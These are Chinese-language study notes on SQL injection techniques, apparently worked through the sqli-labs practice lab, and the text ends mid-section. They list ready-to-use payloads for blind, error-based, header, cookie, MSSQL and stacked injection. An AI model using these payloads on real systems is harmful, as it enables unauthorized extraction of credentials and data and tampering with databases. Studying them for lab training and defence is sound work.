GET注入-盲注
1.布尔型 - 单引号
猜当前数据库的名称:
1' AND (ascii(substr((select database()) ,1,1)) = 115)--+
2.基于时间 - 单引号
1' and if ((select database()="security"), sleep(10), null)--+;已知当前库名为security,用此语句得知,存在基于时间的盲注漏洞。
1' and if (((select COUNT(table_name) from information_schema.TABLES where table_schema=database())=4), sleep(10), null)--+
3.基于时间 - 双引号
1" and if ((select database()="security"), sleep(10), null)--+;
POST注入-显错注入
1.单引号 - 字符型
显示所有的用户名和密码: ’OR 1#
2.双引号 - 字符型 - 变形
")OR 1#
POST注入-盲注
1.基于布尔 - 单引号
1' OR (ascii(substr((select database()) ,1,1)) = 115)#
2.基于时间 - 双引号
1") OR if ((select database()="security"), sleep(10), null);已知当前库名为security,用此语句得知,存在基于时间的盲注漏洞。
1") OR if ((ascii(substr((select table_name from information_schema.TABLES where table_schema=database() limit 0,1) ,1,1))=101) , sleep(3), null)#
Headers注入
1.介绍
http header信息头是HTTP协议的重要组成部分,包含了一数据段来于服务器进行通信。我们这里主要是利用三个:UA、X-Forwarded-For和Referer。
UA:很多网站用他来判断操作系统和浏览器类型,来展示对应的页面。也有很多通过UA来判断访问是否合法,是用户访问还是程序访问等。
X-Forwarded-For被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准。部分网站通过它来辨别访问者的IP信息。
Referer是来源信息,在防盗链中使用广泛。
2.UA部分 - 基于错误
这个系统采用白名单机制来判断UA是否符合标准,其他UA一律视为爬虫会被ban掉。那么我们通过注入猜解一下白名单那中的UA是中,是否有windows操作系统。
用火狐浏览器中的相关扩展插件(Live-HTTP-headers),将UA改为:' union SELECT 1,2,3,uagent FROM uagents WHERE uagent like '%windows%
3.X-FORWARDED-FOR部分 - 基于错误
构造语句得到root用户在数据库中的IP地址。
用火狐浏览器中的相关扩展插件(X-Forwarded-For Header),将X-Forwarded-For改为:’union select 1,2,3,ip_address from uagents where username='root'#
得到10.10.10.10
4.Referer部分 - 基于错误
用火狐浏览器中的相关扩展插件(Live-HTTP-headers),构造语句来猜出10.10.10.10的referer。
' union SELECT 1,2,referer from referers where ip_address='10.10.10.10'#
得到http://127.0.0.1/sqli-labs-master/
Cookie注入
base64编码 - 单引号和圆括号
使用Modify Headers,进行cookie注入
将 ') union select * from users where id=12# 进行encode加密变成:
JykgdW5pb24gc2VsZWN0ICogZnJvbSB1c2VycyB3aGVyZSBpZD0xMiM= 放到uname后。
Mssql报错注入
1.报错原理
根据报错内容,来获取想知道的信息。
2.数据类型转换错误
is_srvrolemember ('sysadmin')函数是用来判断当前的数据用户是否属于管理员组权限。
如果当前用户不属于sysadmin组,那么is_srvrolemember ('sysadmin')将返回0,char(88+0)将返回字母X。
如果当前用户拥有管理员权限,那么is_srvrolemember ('sysadmin')将返回1,char(88+1) 将返回字母Y,触发强制类型转换错误。
注入后的sql语句变为:
select * from articles where id=char(88+is_srvrolemember ('sysadmin'))
url中不能写成+,要写成URL编码后的形式%2b,因为url中的+被认为是空格。
报错信息为Y,说明is_srvrolemember ('sysadmin')的值为1,可以断定当前的数据库用户属于管理员组。
或者:select IS_SRVROLEMEMBER ('sysadmin'))=1--
3.group by having报错
1、用having 1=1爆出第一个字段的名字。
注入后的sql语句为:select * from articles where ID=1 having 1=1,having后面通常跟聚合函数的条件,因为select后面没有任何聚合函数,所以出现了报错。
2、爆出其他字段内容,方法为在group by 后面跟上第一个字段,爆下一个字段的时候需要在group by后面跟上前面得到的所有字段。
注入后的sql语句为:select * from articles where ID=1 group by id having 1=1
接着爆下一个字段的名字,注入语句为group by id,title having 1=1。尝试爆出剩下的字段名。
3、爆字段内容。这里用到转换类型错误报错,形如1=0/columnname,因为0是整数型,而columnname为字符型,相除会出现错误。爆字段title的内容。
注入后的sql语句为:select * from articles where ID =1 and 1/title。因为title为字符串类型,转换出错。爆出字段内容为“欢迎光临”。
如果登录界面存在这种错误,那么攻击者可以通过这种方法来获取用户的用户名和密码等信息。
报错注入
1.extractvalue(xml_frag, xpath_expr)
从一个使用xpath语法的xml字符串中提取一个值。
xml_frag:xml文档对象的名称,是一个string类型。
xpath_expr:使用xpath语法格式的路径。
SQL报错注入的应用:当使用extractvalue(xml_frag, xpath_expr)函数时,若xpath_expr参数不符合xpath格式,就会报错。
而~符号(ascii编码值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_expr参数中使用~符号,就会产生xpath syntax error (xpath语法错误),通过使用这个方法就可以达到报错注入的目的。
使用extractvalue函数进行报错注入:http://localhost/sqli-labs-master/Less-2/?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+ 结果出现报错。
2.updatexml(XML_document,XPath_string,new_value)
第一个参数:XML_document是string格式,为XML文档对象的名称,列入Doc
第二参数:XPath_string是路径,XPath格式的字符串。
第三个参数:new_value,string格式,替换查找到的符合条件的数据
通extractvalue(),输入错误的第二个参数,即路径错误(把 / 缓存 ~)
3.floor
rand()函数:随机返回0~1间的小数
select rand()*2,计算结果在0-2之间
select rand() from users; users表有多少列,就输出几个随机数
floor()函数:小数向下取整
select floor(rand()*2) from information_schema.tables;
select concat_ws('~',(select database()),floor(rand()*2)) from users;
count(*) 统计数量
?id=1' union select 1,count(*),concat_ws('~',(select database()),floor(rand(0)*2)) as a from information_schema.tables group by a--+
4.floor
利用数据重复报错。
id=1" and (select 1 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+
5.benchmark
延时注入可以使用sleep函数,以及benchmark函数。
id=1" and if(mid(user(),1,1) like 'l',sleep(5),1)--+
id=1" union select (if(substring(db,1,1)=char(115),benchmark(10000000,sha(1)),null)),2,3 from (select database() as db) as a--+
堆叠注入
1.概念
一堆sql语句(多条)一起执行,在mysql命令行中,每一条语句结尾加分号;来表示语句结束。利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行。
2.关于SQL基础语句
增:insert into tableName(columnName1,columnName2) values(value1,value2)
删:delete from tableName where …
改:update tableName set columnName=value where …
查:select * from tableName where …
3.应用
- get型:可以试着添加一个新的用户进去。
localhost/sqli-labs-master/Less-38/?id=1'; insert into users values ('100','less38','heetian')%23 - post型:
尝试使用弱口令进行注入,发现密码处能进行注入。
创建less42这个数据表: